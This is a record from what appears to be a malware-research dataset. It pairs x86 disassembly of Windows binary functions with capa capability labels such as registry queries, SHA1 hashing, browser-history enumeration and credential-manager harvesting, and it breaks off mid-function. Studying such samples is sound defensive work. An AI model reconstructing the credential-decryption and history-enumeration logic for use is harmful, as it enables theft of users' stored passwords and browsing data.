joyce8/EMBER2024-capa huggingface dataset:
Function at 0x447d50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x17c
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
movdqu xmm0, xmmword [0x49d7d8]
mov ax, word [0x49d818]
lea edx, [ebp - 0x60]
push esi
movdqu xmmword [ebp - 0x60], xmm0
mov ecx, edx
mov word [ebp - 0x20], ax
movdqu xmm0, xmmword [0x49d7e8]
movdqu xmmword [ebp - 0x50], xmm0
movdqu xmm0, xmmword [0x49d7f8]
movdqu xmmword [ebp - 0x40], xmm0
movdqu xmm0, xmmword [0x49d808]
movdqu xmmword [ebp - 0x30], xmm0
call fcn.00447390
push 0x103
lea eax, [ebp - 0x167]
mov byte [ebp - 0x168], 0
push 0
push eax
call fcn.004644a0
add esp, 0xc
mov dword [ebp - 0x16c], 0x104
lea eax, [ebp - 0x174]
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x170], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0x60]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x447f62
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x170]
push eax
push 0
push 0
push dword [ebp - 0x174]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x174]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
test al, al
je 0x447f62
cmp dword [ebp - 0x16c], 0
jbe 0x447f62
mov al, byte [ebp - 0x168]
test al, al
je 0x447f62
cmp al, 0x22
jne 0x447ec6
lea ecx, [ebp - 0x168]
xor edx, edx
lea esi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447e90
sub ecx, esi
lea eax, [ecx - 1]
test eax, eax
je 0x447ec6
mov al, byte [ebp + edx - 0x167]
mov byte [ebp + edx - 0x168], al
lea eax, [ebp - 0x168]
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x447eb8
sub eax, esi
dec eax
cmp edx, eax
jb 0x447ea0
lea ecx, [ebp - 0x168]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447ed0
sub ecx, edx
lea eax, [ecx - 1]
test eax, eax
jle 0x447eef
cmp byte [ebp + eax - 0x168], 0x5c
je 0x447f51
dec eax
test eax, eax
jg 0x447ee0
lea ecx, [ebp - 0x168]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447ef8
sub ecx, edx
lea eax, [ecx + 1]
push eax
call fcn.00462b4f
mov esi, eax
add esp, 4
test esi, esi
je 0x447f62
lea ecx, [ebp - 0x168]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447f20
sub ecx, edx
lea eax, [ebp - 0x168]
push eax
lea eax, [ecx + 1]
push eax
push esi
call fcn.00461408
add esp, 0xc
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046125f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
cmp eax, 0x104
jae 0x447f76
mov byte [ebp + eax - 0x168], 0
jmp 0x447eef
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.0046125f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00462c95
int3
Function at 0x4492a0
Capabilities:
Read file on windows

Disassembly:
mov edx, dword [0x4acb8c]
push ebx
mov ebx, dword [0x4acb90]
push esi
push edi
mov edi, ecx
xor esi, esi
mov byte [edi], 0
cmp edx, ebx
jl 0x4492f4
push dword [0x4acb58]
mov dword [0x4acb8c], 0
push 0x2800
push 1
push 0x4acbc8
call fcn.00461fda
mov edx, dword [0x4acb8c]
mov ebx, eax
add esp, 0x10
mov dword [0x4acb90], ebx
test ebx, ebx
jg 0x4492f4
xor cl, cl
jmp 0x449301
mov cl, byte [edx + 0x4acbc8]
inc edx
mov dword [0x4acb8c], edx
movsx eax, cl
test cl, cl
je 0x44933c
cmp eax, 0xa
je 0x44932f
cmp eax, 0xd
je 0x4492b6
xor ecx, ecx
test al, al
je 0x4492b6
cmp esi, 0x2800
jge 0x44933c
mov byte [esi + edi], al
inc ecx
inc esi
shr eax, 8
cmp ecx, 4
jl 0x449314
jmp 0x4492b6
mov byte [esi + edi], 0
mov eax, 1
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x449520
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x481b28
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0x49d9ec
push edx
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x30], 0
push eax
call fcn.00462f2d
add esp, 0xc
test eax, eax
je 0x44958e
push 0
mov dword [edi + 0x14], 0xf
mov ecx, edi
mov dword [edi + 0x10], 0
push 0x49d66b
mov byte [edi], 0
call fcn.00449990
jmp 0x449640
push 2
push 0
push dword [ebp - 0x2c]
call fcn.00462115
push dword [ebp - 0x2c]
call fcn.00461da9
push 0
push 0
push dword [ebp - 0x2c]
mov esi, eax
call fcn.00462115
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
lea eax, [esi + 1]
mov dword [ebp - 4], 0
push eax
call fcn.00462b4f
mov ebx, eax
mov byte [ebx + esi], 0
push dword [ebp - 0x2c]
push esi
push 1
push ebx
call fcn.00461fda
add esp, 0x30
cmp eax, esi
jne 0x449613
cmp byte [ebx], 0
jne 0x4495f4
xor ecx, ecx
jmp 0x449609
mov ecx, ebx
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449600
sub ecx, edx
push ecx
push ebx
lea ecx, [ebp - 0x28]
call fcn.00449990
push dword [ebp - 0x2c]
call fcn.00462ddd
push ebx
call fcn.00462b58
add esp, 8
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.004496c0
cmp dword [ebp - 0x14], 0x10
jb 0x449640
push dword [ebp - 0x28]
call fcn.004624b3
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046125f
mov esp, ebp
pop ebp
ret
Function at 0x449ee0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x449ef9
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x449f34
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x449f30
lea ebx, [ebx]
cmp esi, edx
jae 0x449f34
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x449f20
cmp esi, edx
jb 0x449f3b
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x44b350
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x233]
mov dword [ebp - 0x23c], 0
push 0
push eax
mov esi, ecx
mov byte [ebp - 0x234], 0
call fcn.004644a0
push 0x104
xorps xmm0, xmm0
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x12b]
movq qword [ebp - 0x13], xmm0
push 0
push eax
movdqu xmmword [ebp - 0x23], xmm0
mov dword [ebp - 0xb], 0
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
mov byte [ebp - 0x12c], 0
call fcn.004644a0
add esp, 0x18
mov dword [ebp - 0x238], 0
mov edx, 0x49dbac
lea ecx, [ebp - 0x234]
xor edi, edi
call fcn.00447390
lea eax, [ebp - 0x23c]
push eax
push 0x20019
push edi
lea eax, [ebp - 0x234]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x44b41b
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046125f
mov esp, ebp
pop ebp
ret
mov edx, 0x49dbcc
lea ecx, [ebp - 0x24]
call fcn.00447390
lea eax, [ebp - 0x238]
mov dword [ebp - 0x238], 0x105
push eax
lea eax, [ebp - 0x12c]
push eax
push 0
push 0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x44b4de
lea eax, [ebp - 0x12c]
push 0x5c
push eax
call fcn.004622e0
add esp, 8
test eax, eax
je 0x44b4de
mov byte [eax + 1], 0
lea eax, [ebp - 0x12c]
push eax
push 0x105
push esi
call fcn.00461408
add esp, 0xc
test eax, eax
jne 0x44b4de
mov edx, 0x49dbd8
lea ecx, [ebp - 0x24]
call fcn.00447390
lea eax, [ebp - 0x238]
mov dword [ebp - 0x238], 0x105
push eax
lea eax, [esi + 0x105]
push eax
push 0
push 0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x44b4de
mov eax, dword [ebp - 0x238]
mov edi, 1
mov byte [esi + eax + 0x105], 0
mov ecx, dword [ebp - 0x23c]
test ecx, ecx
je 0x44b4ef
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0046125f
mov esp, ebp
pop ebp
ret

Function at 0x44b510
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov byte [ebp - 5], 0
push edi
push esi
call fcn.00461da9
push esi
push 1
mov edi, eax
lea eax, [ebp - 5]
push 1
push eax
call fcn.00461fda
add esp, 0x14
cmp eax, 1
jne 0x44b562
cmp byte [ebp - 5], 0xa
je 0x44b580
push esi
push 1
lea eax, [ebp - 5]
push 1
push eax
call fcn.00461fda
add esp, 0x10
cmp eax, 1
je 0x44b546
push 0
push edi
push esi
call fcn.00462115
add esp, 0xc
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046125f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0046125f
mov esp, ebp
pop ebp
ret
Function at 0x44c250
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
movdqu xmm0, xmmword [0x49dcbc]
push esi
lea edx, [ebp - 0x24]
mov esi, ecx
movdqu xmmword [ebp - 0x24], xmm0
mov ecx, edx
movdqu xmm0, xmmword [0x49dccc]
movdqu xmmword [ebp - 0x14], xmm0
call fcn.00447390
lea eax, [ebp - 0x30]
mov dword [ebp - 0x28], 0x400
push eax
push 0x20019
push 0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x30], 0
push eax
push 0x80000001
mov dword [ebp - 0x2c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44c2dc
lea eax, [ebp - 0x28]
push eax
push esi
lea eax, [ebp - 0x2c]
push eax
push 0
push str.InstalledVersion
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0046125f
mov esp, ebp
pop ebp
ret
Function at 0x44c6b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
movdqu xmm0, xmmword [0x49dd54]
mov eax, dword [0x49dd74]
lea edx, [ebp - 0x2c]
push esi
movdqu xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0xc], eax
mov esi, ecx
movdqu xmm0, xmmword [0x49dd64]
mov ax, word [0x49dd78]
mov ecx, edx
mov word [ebp - 8], ax
movdqu xmmword [ebp - 0x1c], xmm0
call fcn.00447390
lea eax, [ebp - 0x38]
mov dword [ebp - 0x30], 0x400
push eax
push 0x20019
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x38], 0
push eax
push 0x80000001
mov dword [ebp - 0x34], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44c74e
lea eax, [ebp - 0x30]
push eax
push esi
lea eax, [ebp - 0x34]
push eax
push 0
push str.last_configured_version
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0046125f
mov esp, ebp
pop ebp
ret
Function at 0x44ca80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
movdqu xmm0, xmmword [0x49ddcc]
mov eax, dword [0x49ddec]
lea edx, [ebp - 0x2c]
mov dword [ebp - 0xc], eax
mov ax, word [0x49ddf0]
movdqu xmmword [ebp - 0x2c], xmm0
push esi
movdqu xmm0, xmmword [0x49dddc]
mov word [ebp - 8], ax
mov esi, ecx
mov al, byte [0x49ddf2]
mov ecx, edx
movdqu xmmword [ebp - 0x1c], xmm0
mov byte [ebp - 6], al
call fcn.00447390
lea eax, [ebp - 0x38]
mov dword [ebp - 0x30], 0x400
push eax
push 0x20019
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x38], 0
push eax
push 0x80000001
mov dword [ebp - 0x34], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44cb26
lea eax, [ebp - 0x30]
push eax
push esi
lea eax, [ebp - 0x34]
push eax
push 0
push str.InstalledVersion
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0046125f
mov esp, ebp
pop ebp
ret
Function at 0x44cf10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x850
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x3ff
lea eax, [ebp - 0x833]
mov byte [ebp - 0x834], 0
push 0
push eax
mov esi, ecx
call fcn.004644a0
push 0x3ff
lea eax, [ebp - 0x433]
mov byte [ebp - 0x434], 0
push 0
push eax
call fcn.004644a0
movdqu xmm0, xmmword [str.Application4]
mov eax, dword [0x49e17c]
lea edx, [ebp - 0x34]
add esp, 0x18
mov dword [ebp - 0xc], eax
mov al, byte [0x49e180]
mov ecx, edx
movdqu xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x838], 0
movdqu xmm0, xmmword [0x49e164]
mov dword [ebp - 0x848], 0
mov dword [ebp - 0x844], 0
movdqu xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x850], 0
movq xmm0, qword [0x49e174]
mov dword [ebp - 0x84c], 0
movq qword [ebp - 0x14], xmm0
mov byte [ebp - 8], al
call fcn.00447390
lea eax, [ebp - 0x840]
mov dword [ebp - 0x838], 0x400
push eax
push 0x20019
push 0
lea eax, [ebp - 0x34]
mov dword [ebp - 0x840], 0
push eax
push 0x80000000
mov dword [ebp - 0x83c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44d043
lea eax, [ebp - 0x838]
push eax
lea eax, [ebp - 0x834]
push eax
lea eax, [ebp - 0x83c]
push eax
push 0
push 0x49d66b
push dword [ebp - 0x840]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x840]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x834]
push 0x22
push eax
call fcn.00461460
add esp, 8
test eax, eax
je 0x44d0e7
inc eax
push eax
lea eax, [ebp - 0x434]
push 0x400
push eax
call fcn.00461408
lea eax, [ebp - 0x434]
push 0x22
push eax
call fcn.004622e0
add esp, 0x14
test eax, eax
je 0x44d0e7
mov byte [eax], 0
lea edx, [ebp - 0x848]
lea eax, [ebp - 0x84c]
push eax
lea eax, [ebp - 0x850]
push eax
lea eax, [ebp - 0x844]
push eax
lea ecx, [ebp - 0x434]
call fcn.00447540
add esp, 0xc
test eax, eax
je 0x44d0e7
movzx eax, word [ebp - 0x84c]
push eax
movzx eax, word [ebp - 0x850]
push eax
movzx eax, word [ebp - 0x844]
push eax
movzx eax, word [ebp - 0x848]
push eax
push str._ld._ld._ld._ld
push 0x400
push esi
call fcn.0046158b
add esp, 0x1c
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0046125f
mov esp, ebp
pop ebp
ret
Function at 0x44dfe0
Capabilities:
Enumerate browser history

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
mov ebx, ecx
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
push 0x483330
push 1
push esi
push str._J7_
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x44e0df
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x10]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
js 0x44e0d6
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0x38]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x44e0cd
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x44e0c1
push 0x3f
push eax
call fcn.00463ad6
add esp, 8
test eax, eax
je 0x44e06b
xor ecx, ecx
mov word [eax], cx
mov eax, dword [ebp - 0x34]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x44e071
sub eax, edx
sar eax, 1
test eax, eax
jle 0x44e0c0
lea edi, [eax + 1]
xor ecx, ecx
mov eax, edi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0046243d
add esp, 4
mov dword [ebx + esi*4], eax
test eax, eax
je 0x44e0f8
mov ecx, dword [ebp - 0x34]
call fcn.004474e0
push dword [ebp - 0x34]
push edi
push dword [ebx + esi*4]
call fcn.00463a7a
add esp, 0xc
inc esi
cmp esi, 0x19000
jl 0x44e035
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046125f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046125f
mov esp, ebp
pop ebp
ret
Function at 0x44e110
Capabilities:
Create new key via cryptacquirecontext
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
lea eax, [ebp - 0x9c]
push edi
push 0xf0000000
push 1
push 0
mov edi, ecx
mov dword [ebp - 0x9c], 0
push 0
push eax
mov ebx, edx
mov dword [ebp - 0xa0], 0
mov byte [edi], 0
call esi
test eax, eax
jne 0x44e189
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x44e2c4
push 8
push 1
push 0
push 0
lea eax, [ebp - 0x9c]
push eax
call esi
test eax, eax
je 0x44e2c4
lea eax, [ebp - 0xa0]
push eax
push 0
push 0
push 0x8004
push dword [ebp - 0x9c]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x44e2c4
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x44e1b2
sub ecx, edx
sar ecx, 1
push 0
lea eax, [ecx*2 + 2]
push eax
push ebx
push dword [ebp - 0xa0]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x44e2c4
push 0
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa4], 0x14
push eax
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], 0
push eax
push 2
push dword [ebp - 0xa0]
xorps xmm0, xmm0
mov word [ebp - 7], 0
movdqu xmmword [ebp - 0x17], xmm0
mov byte [ebp - 5], 0
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x44e2c4
push dword [ebp - 0xa0]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [ebp - 0x9c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x7f
lea eax, [ebp - 0x97]
mov byte [ebp - 0x98], 0
push 0
push eax
call fcn.004644a0
add esp, 0xc
xor bl, bl
xor esi, esi
jmp 0x44e260
mov al, byte [ebp + esi - 0x18]
add bl, al
movzx eax, al
push eax
push edi
lea eax, [ebp - 0x98]
push str._s_2.2X
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x98]
push eax
push 0x80
push edi
call fcn.00461408
inc esi
add esp, 0x1c
cmp esi, 0x14
jl 0x44e260
movzx eax, bl
push eax
push edi
lea eax, [ebp - 0x98]
push str._s_2.2X
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x98]
push eax
push 0x80
push edi
call fcn.00461408
add esp, 0x1c
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046125f
mov esp, ebp
pop ebp
ret
Function at 0x44e950
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x104
lea eax, [ebp - 0x213]
mov byte [ebp - 0x214], 0
push 0
push eax
mov edi, ecx
call fcn.004644a0
push 0x104
lea eax, [ebp - 0x10b]
mov byte [ebp - 0x10c], 0
push 0
push eax
call fcn.004644a0
push 0x104
lea eax, [ebp - 0x423]
mov dword [ebp - 0x428], 0
push 0
push eax
mov byte [ebp - 0x424], 0
call fcn.004644a0
push 0x104
lea eax, [ebp - 0x31b]
mov byte [ebp - 0x31c], 0
push 0
push eax
call fcn.004644a0
add esp, 0x30
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x43c], 0
test edi, edi
je 0x44eb6c
mov edx, 0x49e44c
lea ecx, [ebp - 0x424]
call fcn.00447390
mov edx, 0x49e464
lea ecx, [ebp - 0x31c]
call fcn.00447390
lea eax, [ebp - 0x430]
mov dword [ebp - 0x428], 0x105
push eax
push 0x20019
push 0
lea eax, [ebp - 0x424]
mov dword [ebp - 0x430], 0
push eax
push 0x80000002
mov dword [ebp - 0x42c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44eb6c
push esi
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x42c]
push eax
push 0
lea eax, [ebp - 0x31c]
push eax
push dword [ebp - 0x430]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x430]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
test al, al
je 0x44eb6c
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x214]
push 0x105
push eax
call fcn.00461408
mov edx, 0x49e478
lea ecx, [ebp - 0x10c]
call fcn.00447390
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x214]
push 0x105
push eax
call fcn.004613a5
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x440]
push eax
lea edx, [ebp - 0x434]
lea ecx, [ebp - 0x214]
call fcn.00447540
add esp, 0x24
test eax, eax
je 0x44eb6c
movzx eax, word [ebp - 0x43c]
push eax
movzx eax, word [ebp - 0x438]
push eax
movzx eax, word [ebp - 0x440]
push eax
movzx eax, word [ebp - 0x434]
push eax
push str._d._d._d._d
push 0x105
push edi
call fcn.0046158b
add esp, 0x1c
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046125f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop edi
call fcn.0046125f
mov esp, ebp
pop ebp
ret
Function at 0x44ee20
Capabilities:
Acquire credentials from windows credential manager

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x49e4c8]
lea edx, [ebp - 0x14]
movq xmm0, qword [0x49e4c0]
mov dword [ebp - 0xc], eax
mov ax, word [0x49e4cc]
push ebx
mov ebx, dword [ebp + 0xc]
mov word [ebp - 8], ax
mov al, byte [0x49e4ce]
push esi
mov dword [ebp - 0xb4], ecx
mov ecx, edx
push edi
mov edi, dword [ebp + 8]
movq qword [ebp - 0x14], xmm0
mov byte [ebp - 6], al
call fcn.00447390
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0
push eax
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0
push eax
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_CredEnumerateA]
cmp dword [ebp - 0x94], 0
jbe 0x44f03b
movdqu xmm0, xmmword [str.yB2_YWCDV_]
mov eax, dword [0x49e4f0]
lea edx, [ebp - 0x3c]
mov dword [ebp - 0x1c], eax
mov ecx, edx
mov al, byte [0x49e4f4]
movdqu xmmword [ebp - 0x3c], xmm0
mov byte [ebp - 0x18], al
movdqu xmm0, xmmword [0x49e4e0]
movdqu xmmword [ebp - 0x2c], xmm0
call fcn.00447390
xor ecx, ecx
movsx ax, byte [ebp + ecx - 0x3c]
shl ax, 2
mov word [ebp + ecx*2 - 0x90], ax
inc ecx
cmp ecx, 0x25
jl 0x44eee4
xorps xmm0, xmm0
xor esi, esi
movq qword [ebp - 0xa8], xmm0
movq qword [ebp - 0xa0], xmm0
movq qword [ebp - 0xb0], xmm0
cmp dword [ebp - 0x94], esi
jle 0x44f03b
sub edi, ebx
mov dword [ebp - 0xb8], edi
lea ecx, [ecx]
mov eax, dword [ebp - 0x98]
lea ecx, [eax + esi*4]
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0xa4], eax
mov eax, dword [ecx]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0x90]
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0xa0]
push eax
push 1
push 0
push 0
lea eax, [ebp - 0xb0]
mov dword [ebp - 0xb0], 0x4a
push eax
push 0
lea eax, [ebp - 0xa8]
push eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax + 0x41c]
call eax
test eax, eax
je 0x44f02e
mov eax, dword [ebp - 0x98]
mov eax, dword [eax + esi*4]
mov eax, dword [eax + 0x30]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x44efa7
sub eax, edx
test eax, eax
jle 0x44efeb
lea edi, [eax + 1]
push edi
call fcn.0046243d
mov ecx, dword [ebp - 0xb8]
add esp, 4
lea ecx, [ecx + esi*4]
mov dword [ecx + ebx], eax
test eax, eax
je 0x44f04f
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ecx + esi*4]
push dword [ecx + 0x30]
push 0x49d988
push edi
push eax
call fcn.0046158b
add esp, 0x10
mov eax, dword [ebp - 0xa0]
test eax, eax
je 0x44f022
inc eax
push eax
call fcn.0046243d
add esp, 4
mov dword [ebx + esi*4], eax
test eax, eax
je 0x44f04f
push dword [ebp - 0x9c]
mov ecx, dword [ebp - 0xa0]
push 0x49e4f8
inc ecx
push ecx
push eax
